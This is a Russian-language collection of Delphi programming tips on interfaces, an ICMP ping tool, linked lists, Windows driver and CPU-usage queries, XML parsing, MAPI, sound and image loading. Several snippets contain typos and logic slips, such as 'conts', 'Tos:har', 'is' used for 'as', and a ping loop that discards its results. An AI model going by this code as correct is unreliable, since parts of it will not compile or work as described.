// содержать полей-данных. В интерфейсы должны быть описаны только методы.
// Вот пример интерфейса содержащего свойства
IMainForm = interface
['{765B2E71-B81C-11D5-9160-C43E6EC62937}']
function GetCaption: TCaption;
procedure SetCaption(const Value: TCaption);
function GetFont: TFont;
procedure SetFont(conts Value: TFont);
function GetSelf: TForm;
property Caption: TCaption read GetCaption write SetCaption;
property Font: TFont read GetFont write SetFont;
property Self: TForm read GetSelf;
end
// Естественно, при наследовании некоторым классом (скажем, какой-нибудь
// формой) этого интерфейса необходимо в него ввести реализацию методов
// GetCaption, SetCaption, GetFont, SetFont, GetSelf .
// Ну и напоследок, интерфейсы можно наследовать так же, как и обычные
// классы. При чем это наследование может быть множественным (как в С++).
// Пример:
// У нас был интерфейс ICallBackInterface:
ICallBackInterface = interface
['{7D501743-B419-11D5-915B-ED714AED3037}']
procedure Callback(Text: String);
end;
// Добавляем еще один интерфейс, расширяющий поведение ICallBackInterface
ICallBackInterfaceEx = interface(ICallBackInterface)
['{7D501743-B419-11D5-915B-ED714AED3038}']
procedure CallbackEx(Text: String);
end;
//, а в главной форме поменяем наследование
TForm1 = class(TForm, ICallBackInterface, ICallbackInterfaceEx)
|
До сих пор для получения интерфейса объекта я использовал функцию GetInterface. Она прекрасно работает и удобна в использовании, но имеет существенные ограничения. Прежде всего, эта функция не виртуальная. То есть, вы не сможете переопределить ее поведени е в классах-наследниках. А делает эта функция только одно - сканирует локальную VMT объекта на предмет получения требуемого куска VMT. Однако, начиная от TComponent, компоненты Delphi содержат функцию, делающую почти то же самое, но являющуюся виртуальной . Под "почти" я имею ввиду то, что эта функция вызывает GetInterface, но осуществляет еще дополнительные проверки и имеет немного другой формат вызова. Эта функция в последствии (17) принимает участие в COM программировании и имеет наименование QueryInter face (18) .
// Функция определяется так:
function QueryInterface(const IID: TGUID; out Obj): HResult; virtual; stdcall;
// Функция возвращает HResult (целое число, содержащее код ошибки)
// для определения успешности или не успешности ее выполнения. Для
// преобразования этого значения в boolean (если нет необходимости
// анализировать непосредственно код ошибки и вас интересует лишь
// фактическое "да" или "нет") имеется дополнительная функция Succeeded.
// Любой вызов GetInterface из приведенных выше примеров можно заменить
// на примерно следующий:
if Succeeded(QueryInterface(IMyHello, MyHello)) then …
// Однако есть одна маленькая неприятность - функция QueryInterface
// описана в секции protected класса TComponent. Это означает, что вы
// не можете ее вызвать нигде, кроме как внутри методов данного класса
// TComponent. То есть, строка Application.MainForm.QueryInterface(…)
// не будет компилироваться. Из этого есть два выхода. Первый
// заключается в получении ЛЮБОГО (19) интерфейса объекта через вызов
// GetInterface (20) и через него вызывать функцию QueryInterface.
// Для этих целей можно написать обобщенную процедуру, скажем так
function QueryInterface(const AObject: TObject, const IID: TGUID; out Obj): HResult;
begin
if AObject.GetInterface(IID, Obj) then Result := S_OK
else Result := E_NOINTERFACE;
end;
// Второй заключается в написании наследников всех (или почти всех)
// используемых базовых компонент, в которых эта функция перемещается
// в секцию public. Примерно вот так:
type
TInterfacedForm = class(TForm, IUnknown)
public
function QueryInterface(const IID: TGUID; out Obj): HResult; override;
end;
…
implementation
function TInterfacedForm .QueryInterface(const IID: TGUID; out Obj): HResult;
begin
Result := inherited QueryInterface(IID, Obj);
end;
end.
// Если при этом все необходимые компоненты проекта (в частности,
// главную форму приложения) наследовать от них, тогда в любой точке
// проекта можно будет построить следующий вызов.
var
MainForm: TInterfacedForm;
begin
if Application.MainForm is TInterfacedForm then
begin
MainForm := Application.MainForm is TInterfacedForm;
if Succeeded(MainForm.QueryInterface(IMyHello, MyHello)) then …
…
end;
end;
|
Существует опасность использование интерфейса объекта, который был удален. Например, приложение запрашивает у рlugin'а какой-либо интерфейс, и начинает с ним работать. А plugin, как последняя редиска, вдруг выгружается. В итоге у приложения в руках оказыв ается ссылка на VMT, которой в действительности уже нету. Естественно, это ошибка программиста и за этим нужно следить. После того как интерфейс описан и начал использоваться - он не подлежит изменению (26). Если что-то нужно к нему добавить, следует сделать его наследника. Эту методику можно и в случае обыкновенных dll. Только (при компиляции dll без пакетов) следует иметь ввиду, что глобальный объект Application у приложения и dll будут разными и для доступа к главной форме из dll в последнюю надо будет передать Applicatio n из exe. При компиляции с VCL50 этого делать не нужно. Наверное, существует что-то еще (что определиться опытным путем в дальнейшем или умные люди подскажут …
Маааленькое PING-приложеньице.
| Два интернетчика: - Попингуй! - От попингуя слышу. |
Протокол Ping предназначен для тестирования компьютерных соединений в Интернете путём посылки через протокол Internet Protocol (IP) по обределённому адресу сообщения и ожидания от него ответа.
ICMP - Internet Control Message Protocol. ICMP служит для передачи сообщений об ошибках а так же управляющих сообщений . ICMP-тест может показать насколько быстро проходит информация между двумя узлами в Интернете.
Запускаем Delphi; В Новом проекте добавляем в форму Tbutton, Tedit и Tmemo; Вставляем “winsock”; объявляем структурку для IP-заголовка:
type IPINFO = record Ttl: char; Tos:har; IPFlags: char; OptSize: char; Options: ^char; end; |
type ICMPECHO = record Source: longint; Status: longint; RTTime: longint; DataSize: Shortint; Reserved: Shortint; pData: ^variant; i_ipinfo: IPINFO; end; |
TIcmpCreateFile = function():integer;
{$IFDEF WIN32} stdcall; {$ENDIF}
TIcmpCloseHandle = procedure(var handle: integer);
{$IFDEF WIN32} stdcall; {$ENDIF}
TIcmpSendEcho = function(var handle: integer; endereco: DWORD;
buffer: variant; tam: WORD; IP: IPINFO; ICMP: ICMPECHO;
tamicmp: DWORD; tempo: DWORD): DWORD;
{$IFDEF WIN32} stdcall; {$ENDIF}
|
procedure TForm1.Button1Click(Sender: TObject);
var
wsadt : wsadata;
icmp :icmpecho;
HNDicmp : integer;
hndFile :integer;
Host :PHostEnt;
Destino :in_addr;
Endereco :^DWORD;
IP : ipinfo;
Retorno :integer;
dwRetorno :DWORD;
x :integer;
IcmpCreateFile : TIcmpCreateFile;
IcmpCloseHandle : TIcmpCloseHandle;
IcmpSendEcho : TIcmpSendEcho;
begin
if (edit1.Text = '') then
begin
Application.MessageBox('Enter a HostName ro a IP Adress', 'Error', MB_OK);
exit;
end;
HNDicmp := LoadLibrary('ICMP.DLL');
if (HNDicmp <> 0) then
begin
@IcmpCreateFile := GetProcAddress(HNDicmp,'IcmpCreateFile');
@IcmpCloseHandle := GetProcAddress(HNDicmp,'IcmpCloseHandle');
@IcmpSendEcho := GetProcAddress(HNDicmp,'IcmpSendEcho');
if (@IcmpCreateFile=nil) or (@IcmpCloseHandle=nil) or (@IcmpSendEcho=nil) then
begin
Application.MessageBox('Error getting ICMP Adress’,'Error', MB_OK);
FreeLibrary(HNDicmp);
end;
end;
Retorno := WSAStartup($0101,wsadt);
if (Retorno <> 0) then
begin
Application.MessageBox('Canґt Load WinSockets','WSAStartup', MB_OK);
WSACleanup();
FreeLibrary(HNDicmp);
end;
Destino.S_addr := inet_addr(Pchar(Edit1.text));
if (Destino.S_addr = 0) then
Host := GetHostbyName(PChar(Edit1.text))
else
Host := GetHostbyAddr(@Destino,sizeof(in_addr), AF_INET);
if (host = nil) then
begin
Application.MessageBox('Host not found','Error', MB_OK);
WSACleanup();
FreeLibrary(HNDicmp);
exit;
end;
memo1.Lines.Add('Pinging ' + Edit1.text);
Endereco := @Host.h_addr_list;
HNDFile := IcmpCreateFile();
for x:= 0 to 4 do
begin
Ip.Ttl := char(255);
Ip.Tos := char(0);
Ip.IPFlags := char(0);
Ip.OptSize := char(0);
Ip.Options := nil;
dwRetorno := IcmpSendEcho(
HNDFile,
Endereco^,
null,
0,
Ip,
Icmp,
sizeof(Icmp),
DWORD(5000));
Destino.S_addr := icmp.source;
Memo1.Lines.Add('Ping ' + Edit1.text);
end;
IcmpCLoseHandle(HNDFile);
FreeLibrary(HNDicmp);
WSACleanup();
end;
|
У данного примера есть один недостаток - программа не воспримет доменное имя, только IP-адресс. Для пользователей NT не используйте функцию IcmpCloseHandle.
Это всё…..
Ну и в конце полный исходный код примера можно взять здесь.
Реализация Linked List Memory Table.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TMyObjectPtr = ^TMyObject;
TMyObject = record
First_Name: String[20];
Last_Name: String[20];
Next: TMyObjectPtr;
end;
type
TForm1 = class(TForm)
bSortByLastName: TButton;
bDisplay: TButton;
bPopulate: TButton;
ListBox1: TListBox;
bClear: TButton;
procedure bSortByLastNameClick(Sender: TObject);
procedure bPopulateClick(Sender: TObject);
procedure bDisplayClick(Sender: TObject);
procedure bClearClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
pStartOfList: TMyObjectPtr = nil;
{List manipulation routines}
procedure SortMyObjectListByLastName(var aStartOfList: TMyObjectPtr);
function CreateMyObject(aFirstName, aLastName: String): TMyObjectPtr;
procedure AppendMyObject(var aCurrentItem, aNewItem: TMyObjectPtr);
procedure ClearMyObjectList(var aMyObject: TMyObjectPtr);
procedure RemoveMyObject(var aStartOfList, aRemoveMe: TMyObjectPtr);
function AreInAlphaOrder(aString1, aString2: String): Boolean;
implementation
{$R *.DFM}
procedure TForm1.bClearClick(Sender: TObject);
begin
ClearMyObjectList(pStartOfList);
end;
procedure TForm1.bPopulateClick(Sender: TObject);
var
pNew: TMyObjectPtr;
begin
{Initialize the list with some static data}
pNew := CreateMyObject('Suzy','Martinez');
AppendMyObject(pStartOfList, pNew);
pNew := CreateMyObject('John','Sanchez');
AppendMyObject(pStartOfList, pNew);
pNew := CreateMyObject('Mike','Rodriguez');
AppendMyObject(pStartOfList, pNew);
pNew := CreateMyObject('Mary','Sosa');
AppendMyObject(pStartOfList, pNew);
pNew := CreateMyObject('Betty','Hayek');
AppendMyObject(pStartOfList, pNew);
pNew := CreateMyObject('Luke','Smith');
AppendMyObject(pStartOfList, pNew);
pNew := CreateMyObject('John','Sosa');
AppendMyObject(pStartOfList, pNew);
end;
procedure TForm1.bSortByLastNameClick(Sender: TObject);
begin
SortMyObjectListByLastName(pStartOfList);
end;
procedure TForm1.bDisplayClick(Sender: TObject);
var
pTemp: TMyObjectPtr;
begin
{Display the list items}
ListBox1.Items.Clear;
pTemp := pStartOfList;
while pTemp <> nil do
begin
ListBox1.Items.Add(pTemp^.Last_Name + ', ' + pTemp.First_Name);
pTemp := pTemp^.Next;
end;
end;
procedure ClearMyObjectList(var aMyObject: TMyObjectPtr);
var
TempMyObject: TMyObjectPtr;
begin
{Free the memory used by the list items}
TempMyObject := aMyObject;
while aMyObject <> nil do
begin
aMyObject := aMyObject^.Next;
Dispose(TempMyObject);
TempMyObject := aMyObject;
end;
end;
function CreateMyObject(aFirstName, aLastName: String): TMyObjectPtr;
begin
{Instantiate a new list item}
new(result);
result^.First_Name := aFirstName;
result^.Last_Name := aLastName;
result^.Next := nil;
end;
procedure SortMyObjectListByLastName(var aStartOfList: TMyObjectPtr);
var
aSortedListStart, aSearch, aBest: TMyObjectPtr;
begin
{Sort the list by the Last_Name "field"}
aSortedListStart := nil;
while (aStartOfList <> nil) do
begin
aSearch := aStartOfList;
aBest := aSearch;
while aSearch^.Next <> nil do
begin
if not AreInAlphaOrder(aBest^.Last_Name, aSearch^.Last_Name) then
aBest := aSearch;
aSearch := aSearch^.Next;
end;
RemoveMyObject(aStartOfList, aBest);
AppendMyObject(aSortedListStart, aBest);
end;
aStartOfList := aSortedListStart;
end;
procedure AppendMyObject(var aCurrentItem, aNewItem: TMyObjectPtr);
begin
{Recursive function that appends the new item to the end of the list}
if aCurrentItem = nil then
aCurrentItem := aNewItem
else
AppendMyObject(aCurrentItem^.Next, aNewItem);
end;
procedure RemoveMyObject(var aStartOfList, aRemoveMe: TMyObjectPtr);
var
pTemp: TMyObjectPtr;
begin
{Removes a specific item from the list and collapses the empty spot.}
pTemp := aStartOfList;
if pTemp = aRemoveMe then
aStartOfList := aStartOfList^.Next
else
begin
while (pTemp^.Next <> aRemoveMe) and (pTemp^.Next <> nil) do
pTemp := pTemp^.Next;
if pTemp = nil then Exit; //Shouldn't ever happen
if pTemp^.Next = nil then Exit; //Shouldn't ever happen
pTemp^.Next := aRemoveMe^.Next;
end;
aRemoveMe^.Next := nil;
end;
function AreInAlphaOrder(aString1, aString2: String): Boolean;
var
i: Integer;
begin
{Returns True if aString1 should come before aString2 in an alphabetic ascending sort}
Result := True;
while Length(aString2) < Length(aString1) do aString2 := aString2 + '!';
while Length(aString1) < Length(aString2) do aString1 := aString1 + '!';
for i := 1 to Length(aString1) do
begin
if aString1[i] > aString2[i] then Result := False;
if aString1[i] <> aString2[i] then break;
end;
end;
end.
Получить список загруженных драйверов под NT.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
This code takes advantage of the undocumented NtQuerySystemInformation
API to obtain a list of loaded drivers under Windows NT.
Dieser Code verwendet die undokumentiere NtQuerySystemInformation API Funktion
um eine Liste aller geladenen Treiber unter Windows NT zu ermitteln.
}
const
DRIVER_INFORMATION = 11;
type
TPDWord = ^DWORD;
TDriverInfo = packed record
Address: Pointer;
Unknown1: DWORD;
Unknown2: DWORD;
EntryIndex: DWORD;
Unknown4: DWORD;
Name: array [0..MAX_PATH + 3] of Char;
end;
var
NtQuerySystemInformation: function (infoClass: DWORD;
buffer: Pointer;
bufSize: DWORD;
returnSize: TPDword): DWORD; stdcall = nil;
function GetDriverInfo: string;
var
temp, Index, numBytes, numEntries: DWORD;
buf: TPDword;
driverInfo: ^TDriverInfo;
begin
if @NtQuerySystemInformation = nil then
NtQuerySystemInformation := GetProcAddress(GetModuleHandle('ntdll.dll'),
'NtQuerySystemInformation');
// Obtain required buffer size
NtQuerySystemInformation(DRIVER_INFORMATION, @temp, 0, @numBytes);
// Allocate buffer
buf := AllocMem(numBytes * 2);
NtQuerySystemInformation(DRIVER_INFORMATION, buf, numBytes * 2, @numBytes);
numEntries := buf^;
driverInfo := Pointer(DWORD(buf) + 12);
Result := '';
for Index := 1 to numEntries do
begin
Result := Result + #0$D#0$A+'Address: $' + IntToHex(DWORD(driverInfo^.Address), 8) +
'Name: "' + (driverInfo^.Name) + '"';
Inc(driverInfo);
end;
Delete(Result, 1, 2);
FreeMem(buf);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ListBox1.Items.Add(GetDriverInfo)
end;
// Thanks to Madshi for helping me translate from C++ Code
// Original Code (C++) :
// NtDriverList v1.0
// Copyright 1998, 1999 Yariv Kaplan
// WWW.INTERNALS.COM
Загрузка и анализ документа XML.
Обмен информацией в формате XML - это чрезвычайно удобный механизм, позволяющий свести к минимуму проблемы внутрифирменных форматов данных. Эти проблемы сводятся к сложностям при обмене информацией с контрагентами фирмы. Зачастую проблема стоит не только в невозможности других воспринимать предлагаемый вами формат (DBF, ASCII и т.п.), сколько в нежелании приспосабливаться к ним. Эти форматы не очень удобны. К тому же у вашего партнера наверняка уже есть наработки в этой области. Так почему бы вам не приспособится к его формату обмена данными?
Язык XML позволяет разрабатывать форматы описания данных, которые могут стать тем мостиком, котрый свяжет всех контрагентов и устранит технические и психологические барьеры, неизбежно возникающие при приспособлении к чужим технологиям.
Технология XML тоже не назовешь родной, однако ее возможности и универсальность при описании текстовых данных перекрывают все сложности, связанные с ее освоением.
Формировать документы в формате XML достаточно просто. Следует лишь познакомится с конкретным DTD и образцами корректных документов. А вот загрузка может быть достаточно трудна, если не прибегать к помощи готовых решений в виде XML парсеров. Их довольно много для разных платформ и при желании можно найти их описания в WWW. Одним из наиболее распространенным на платформе Windows является Microsoft XML Parser. Дело в том, что он входит в состав Microsoft Explorer 5.0 и более позние версии. Он доступен в виде объекта ActiveX. Данный парсер является верифицирующим, то есть проверяет не только синтаксическую проверку документа, но и семантическую корректность в соответствии с заданным DTD.
Для загрузки и анализа документа в Delphi рассмотрим следующий код.
{Вспомогательная функция. Формирует текст сообщения об ошибке
Вход : Error: TXMLDOMParseError
Выход : Отчет об ошибке }
function getParseError(Error: Variant): string;
begin
Result := 'Ошибка при загрузке документа ["' + Error.url + ' ]'#13#10
+ Error.reason + #13#10#13#10;
if (Error.line > 0) then
Result := Result + 'строка ' + Error.line + ', символ ' + error.linepos + #13#10
+ Error.srcText;
end;
{Загружает файл в Microsoft.XMLDOM. Строит дерево DOM в TreeView
Вход : Имя файла XML}
procedure TfImport.LoadOnixDoc(const FileName: string);
var
XML, parseError: variant;
Node, mainNode, childNodes: variant;
i: integer;
TreeNode: TTreeNode;
{ рекурсивно обходит дерево элементов и заполняет TreeView }
procedure LoadItems(TreeNode: TTreeNode; Node: variant);
var
i: integer;
begin
TreeNode := TV.Items.AddChild(TreeNode, Node.nodeName);
TreeNode.ImageIndex := TreeNode.Level;
TreeNode.SelectedIndex := TreeNode.ImageIndex;
if Node.nodeName = '#text' then
begin
TreeNode.Text := Node.nodeValue;
TV.SetNodeBoldState(TreeNode, true);
end;
for i:=0 to Node.childNodes.length-1 do
LoadItems(TreeNode, Node.childNodes.item[i]);
end;
begin
XML := CreateOleObject('Microsoft.XMLDOM');
// async
// Свойство, доступное для записи и чтения,
// идентифицирующее текущий режим обработки (синхронный или асинхронный)
XML.Async := false;
// load(url)
// Загружает документ, адрес которого задан параметром url.
// В случае успеха возвращает логическое значение true. Необходимо иметь в виду,
// что вызов этого метода сразу же обнуляет содержимое текущего документа
XML.load(FileName);
// Можно загружать из строки:
// loadXML(xmlString)
// Загружает XML - фрагмент, определенный в передаваемой строке
// parseError
// Возвращает ссылку на объект XMLDOMParseError, при помощи которого
// можно получить всю необходимую информацию о последней ошибке анализатора.
// Только для чтения.
if XML.parseError.errorCode <> 0 then
begin
ShowMessage( getParseError(XML.parseError) );
end
else
begin
mainNode := XML.documentElement;
{ Загрузка DOM в TreeView }
LoadItems(nil, mainNode);
// дерево DOM построено в TreeView
TreeNode := TV.Items[1];
while Assigned(TreeNode) do
begin
TreeNode.Expand(false);
TreeNode := TreeNode.GetNextSibling;
end;
if Assigned(TV.Items[0]) then
TV.Items[0].Expand(false);
end;
end;
|
Пример документа XML Onix:
| <?xml version="1.0" encoding="windows-1251"?> <!DOCTYPE ONIXMessage SYSTEM "onix-international.dtd"> <ONIXMessage release="1.1"> <FromCompany>ТД Библио-Глобус</FromCompany> <FromPerson>Kirillov Alexey kirillov@biblio-globus.u</FromPerson> <ToCompany>EDItEUR</ToCompany> <ToPerson>EDItEUR chief manager</ToPerson> <MessageNumber>1</MessageNumber> <SentDate>23.12.00</SentDate> <DefaultLanguageOfText>rus</DefaultLanguageOfText> <Product> <RecordReference>247825</RecordReference> <NotificationType>3</NotificationType> <ISBN>966-7393-05-4</ISBN> <ProductForm>BB</ProductForm> <DistinctiveTitle>SQL энциклопедия пользователя</DistinctiveTitle> <Contributor> <ContributorSequenceNumber>0</ContributorSequenceNumber> <ContributorRole>A01</ContributorRole> <PersonName>Х. Ладани</PersonName> <PersonNameInverted>Ладани, Х.</PersonNameInverted> <BiographicalNote>Книга раскрывает темы, которые часто не описываются или достаточно кратко представлены в руководствах пользователя - подзапросы, структуры данных, представления, производительность, целостность и защита данных. </BiographicalNote> </Contributor> <NumberOfPages>624</NumberOfPages> <ImprintName>ДиаСофт</ImprintName> <MediaFile> <MediaFileTypeCode>04</MediaFileTypeCode> <MediaFileFormatCode>03</MediaFileFormatCode> <MediaFileLinkTypeCode>06</MediaFileLinkTypeCode> <MediaFileLink> http://shop.biblio-globus.ru/photos1/05/58983.jpg </MediaFileLink> </MediaFile> <SupplyDetail> <SupplierName></SupplierName> <AvailabilityCode></AvailabilityCode> <Price> <PriceTypeCode>01</PriceTypeCode> <PriceAmount>425</PriceAmount> <CurrencyCode>RUB</CurrencyCode> </Price> </SupplyDetail> </Product> </ONIXMessage> |
Как узнать загрузку процессора (NT – 2000 - XP).
Автор: http://www.swissdelphicenter.ch
const
SystemBasicInformation = 0;
SystemPerformanceInformation = 2;
SystemTimeInformation = 3;
type
TPDWord = ^DWORD;
TSystem_Basic_Information = packed record
dwUnknown1: DWORD;
uKeMaximumIncrement: ULONG;
uPageSize: ULONG;
uMmNumberOfPhysicalPages: ULONG;
uMmLowestPhysicalPage: ULONG;
uMmHighestPhysicalPage: ULONG;
uAllocationGranularity: ULONG;
pLowestUserAddress: Pointer;
pMmHighestUserAddress: Pointer;
uKeActiveProcessors: ULONG;
bKeNumberProcessors: byte;
bUnknown2: byte;
wUnknown3: word;
end;
type
TSystem_Performance_Information = packed record
liIdleTime: LARGE_INTEGER; {LARGE_INTEGER}
dwSpare: array[0..75] of DWORD;
end;
type
TSystem_Time_Information = packed record
liKeBootTime: LARGE_INTEGER;
liKeSystemTime: LARGE_INTEGER;
liExpTimeZoneBias: LARGE_INTEGER;
uCurrentTimeZoneId: ULONG;
dwReserved: DWORD;
end;
var
NtQuerySystemInformation: function(infoClass: DWORD;
buffer: Pointer;
bufSize: DWORD;
returnSize: TPDword): DWORD; stdcall = nil;
liOldIdleTime: LARGE_INTEGER = ();
liOldSystemTime: LARGE_INTEGER = ();
function Li2Double(x: LARGE_INTEGER): Double;
begin
Result := x.HighPart * 4.294967296E9 + x.LowPart
end;
procedure GetCPUUsage;
var
SysBaseInfo: TSystem_Basic_Information;
SysPerfInfo: TSystem_Performance_Information;
SysTimeInfo: TSystem_Time_Information;
status: Longint; {long}
dbSystemTime: Double;
dbIdleTime: Double;
bLoopAborted: boolean;
begin
if @NtQuerySystemInformation = nil then
NtQuerySystemInformation := GetProcAddress(GetModuleHandle('ntdll.dll'),
'NtQuerySystemInformation');
// get number of processors in the system
status := NtQuerySystemInformation(SystemBasicInformation, @SysBaseInfo,
SizeOf(SysBaseInfo), nil);
if status <> 0 then
Exit;
// Show some information
with SysBaseInfo do
begin
ShowMessage(
Format('uKeMaximumIncrement: %d'#13'uPageSize: %d'#13 +
'uMmNumberOfPhysicalPages: %d' + #13 + 'uMmLowestPhysicalPage: %d' + #13 +
'uMmHighestPhysicalPage: %d' + #13 + 'uAllocationGranularity: %d'#13 +
'uKeActiveProcessors: %d'#13'bKeNumberProcessors: %d' ,
[uKeMaximumIncrement, uPageSize, uMmNumberOfPhysicalPages,
uMmLowestPhysicalPage, uMmHighestPhysicalPage, uAllocationGranularity,
uKeActiveProcessors, bKeNumberProcessors]));
end;
bLoopAborted := False;
while not bLoopAborted do
begin
// get new system time
status := NtQuerySystemInformation(SystemTimeInformation, @SysTimeInfo,
SizeOf(SysTimeInfo), 0);
if status <> 0 then
Exit;
// get new CPU's idle time
status := NtQuerySystemInformation(SystemPerformanceInformation,
@SysPerfInfo, SizeOf(SysPerfInfo), nil);
if status <> 0 then
Exit;
// if it's a first call - skip it
if (liOldIdleTime.QuadPart <> 0) then
begin
// CurrentValue = NewValue - OldValue
dbIdleTime := Li2Double(SysPerfInfo.liIdleTime) -
Li2Double(liOldIdleTime);
dbSystemTime := Li2Double(SysTimeInfo.liKeSystemTime) -
Li2Double(liOldSystemTime);
// CurrentCpuIdle = IdleTime / SystemTime
dbIdleTime := dbIdleTime / dbSystemTime;
// CurrentCpuUsage% = 100 - (CurrentCpuIdle * 100) / NumberOfProcessors
dbIdleTime := 100.0 - dbIdleTime * 100.0 / SysBaseInfo.bKeNumberProcessors
+ 0.5;
// Show Percentage
Form1.Label1.Caption := FormatFloat('CPU Usage: 0.0 %', dbIdleTime);
Application.ProcessMessages;
// Abort if user pressed ESC or Application is terminated
bLoopAborted := (GetKeyState(VK_ESCAPE) and 128 = 128) or
Application.Terminated;
end;
// store new CPU's idle and system time
liOldIdleTime := SysPerfInfo.liIdleTime;
liOldSystemTime := SysTimeInfo.liKeSystemTime;
// wait one second
Sleep(1000);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
GetCPUUsage
end;
Как загрузить адресную книгу.
| Автор: Севостьянов Игорь |
| Возвращается домой в хлам пьяный программист. По пути заглядывает в почтовый ящик и обнаруживает там письмо. Прочитав его, на обороте пишет ответ, и запечатав письмо кладет обратно в свой ящик. Утром, идя на работу в том же состоянии, опять заглядывает в почтовый ящик и обнаруживает вчерашнее письмо. - Блин, я же ставил не сохранять отправленные письма. |
uses Mapi;
...
procedure TfrmMain.btnOpenAddressBookClick(Sender: TObject);
var
lhSession, rc: Cardinal;
lpnNewRecips: PULONG;
lppNewRecips: PMapiRecipDesc;
lpRecips: MapiRecipDesc;
begin
lpnNewRecips := nil;
rc := MAPILogon(0, 'Севостьянов Игорь', '', MAPI_LOGON_UI, 0, @lhSession);
if (rc < > SUCCESS_SUCCESS) then
SysErrorMessage(rc);
rc := MAPIAddress(lhSession, 0, 'Адресная книга', 0, '', 0, lpRecips, 0, 0,
lpnNewRecips, lppNewRecips);
if (rc < > SUCCESS_SUCCESS) then
SysErrorMessage(rc)
else
rc := MAPIFreeBuffer(lppNewRecips); // free the memory used by MAPIAddress
if (rc < > SUCCESS_SUCCESS) then
SysErrorMessage(rc);
rc := MAPILogoff(lhSession, 0, 0, 0);
if (rc < > SUCCESS_SUCCESS) then
SysErrorMessage(rc);
end;
|
Есть еще и в Deplhi Help C:\Program Files\Common Files\Borland Shared\MSHelp\mapi.hlp.
Заставить приложение загружать и проигрывать звуковой файл.
| Священник, врач и программист играли вместе в гольф. Переходя от лунки к лунке, они вскорости догнали трех игроков, которые двигались страшно медленно. Возмущенные, они вызвали управляющего и спросили его, в чем дело?... Управляющий: - Видите ли, несколько лет тому назад в нашем клубе был пожар. А эти трое ребят спасли нас от полного уничтожения. К сожалению, в результате ожогов они потеряли зрение. А мы в знак благодарности разрешили им играть у нас в гольф совершенно бесплатно. Священник (сконфуженно): - О!!! Я буду горячо молиться, чтобы Бог вернул им зрение!! Врач (виновато): - Я знаком с одним из лучших офтальмологов мира. Может, он сможет... Программист (небрежно): - А че они ночью не играют! |
Далее приведен необходимый вам код:
unit PlaySnd1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics,
Controls, Forms, Dialogs, StdCtrls;
type
TForm1 = class(TForm)
PlaySndFromFile: TButton;
PlaySndFromMemory: TButton;
PlaySndbyLoadRes: TButton;
PlaySndFromRes: TButton;
procedure PlaySndFromFileClick(Sender: TObject);
procedure PlaySndFromMemoryClick(Sender: TObject);
procedure PlaySndFromResClick(Sender: TObject);
procedure PlaySndbyLoadResClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
{$R snddata.res}
uses MMSystem;
procedure TForm1.PlaySndFromFileClick(Sender: TObject);
begin
sndPlaySound('hello.wav', SND_FILENAME or SND_SYNC);
end;
procedure TForm1.PlaySndFromMemoryClick(Sender: TObject);
var
f: file;
p: pointer;
fs: integer;
begin
AssignFile(f, 'hello.wav');
Reset(f, 1);
fs := FileSize(f);
GetMem(p, fs);
BlockRead(f, p^, fs);
CloseFile(f);
sndPlaySound(p, SND_MEMORY or SND_SYNC);
FreeMem(p, fs);
end;
procedure TForm1.PlaySndFromResClick(Sender: TObject);
begin
PlaySound('HELLO', hInstance, SND_RESOURCE or SND_SYNC);
end;
procedure TForm1.PlaySndbyLoadResClick(Sender: TObject);
var
h: THandle;
p: pointer;
begin
h := FindResource(hInstance, 'HELLO', 'WAVE');
h := LoadResource(hInstance, h);
p := LockResource(h);
sndPlaySound(p, SND_MEMORY or SND_SYNC);
UnLockResource(h);
FreeResource(h);
end;
end.
|
Как загрузить и отмасштабировать JPEGImage в TImage.
try
Image1.Picture.Graphic := nil;
Image1.Picture.LoadFromFile(jpegfile);
except
on EInvalidGraphic do
Image1.Picture.Graphic := nil;
end;
if Image1.Picture.Graphic is TJPEGImage then
begin
TJPEGImage(Image1.Picture.Graphic).Scale := Self.Scale;
TJPEGImage(Image1.Picture.Graphic).Performance := jpBestSpeed;
end;
|
Загрузка Bitmap из .res без потери палитры.
procedure loadgraphic(naam:string);
var
HResInfo: THandle;
BMF: TBitmapFileHeader;
MemHandle: THandle;
Stream: TMemoryStream;
ResPtr: PByte;
ResSize: Longint;
null:array [0..8] of char;
begin
strpcopy (null, naam);
HResInfo := FindResource(HInstance, null, RT_Bitmap);
ResSize := SizeofResource(HInstance, HResInfo);
MemHandle := LoadResource(HInstance, HResInfo);
ResPtr := LockResource(MemHandle);
Stream := TMemoryStream.Create;
try
Stream.SetSize(ResSize + SizeOf(BMF));
BMF.bfType := $4D42;
Stream.write(BMF, SizeOf(BMF));
Stream.write(ResPtr^, ResSize);
Stream.Seek(0, 0);
Bitmap:=tbitmap.create;
Bitmap.LoadFromStream(Stream);
finally
Stream.Free;
end;
FreeResource(MemHandle);
end;
|
Как загрузить иконку CD-ROM.
Автор: http://www.swissdelphicenter.ch
function GetCDIcon(Drive: Char): TIcon;
var
ico: TIcon;
ini: TIniFile;
s, p: string;
i, j: Integer;
begin
//Abbrechen wenn "AutoRun.Inf" nicht existiert.
//Abort if "AutoRun.inf" doesn't exists.
if FileExists(Drive + ':\autorun.inf') = False then
Exit;
//"AutoRun.inf" offnen
//Opens the "AutoRun.inf"
ini := TIniFile.Create(Drive + ':\autorun.inf');
ico := TIcon.Create;
try
//Dateinamen lesen
//Read the filename
s := ini.ReadString('Autorun', 'ICON', '');
//Abbrechen, wenn kein Icon festgelegt wurde
//Abort if there is no icon specified
if s = '' then
Exit;
//Icon von Datei laden
//load the icon from a file
if FileExists(s) then
ico.LoadFromFile(s);
if FileExists(Drive + ':\' + s) then
ico.LoadFromFile(Drive + ':\' + s);
//Icon aus einer Resource laden
//Load the icon from a Win32 resource
if (FileExists(s) = False) and (FileExists(Drive + ':\' + s) = False) then
begin
for j := (Pos(',', s) + 1) to Length(s) do
begin
p := p + s[j];
end;
i := StrToInt(p);
for j := Length(s) downto (Pos(',', s)) do
Delete(s, j, Length(s));
if FileExists(s) = False then
s := Drive + ':\' + s;
ico.Handle := ExtractIcon(hinstance, PChar(s), i);
end;
Result := ico;
finally
ini.Free;
end;
end;
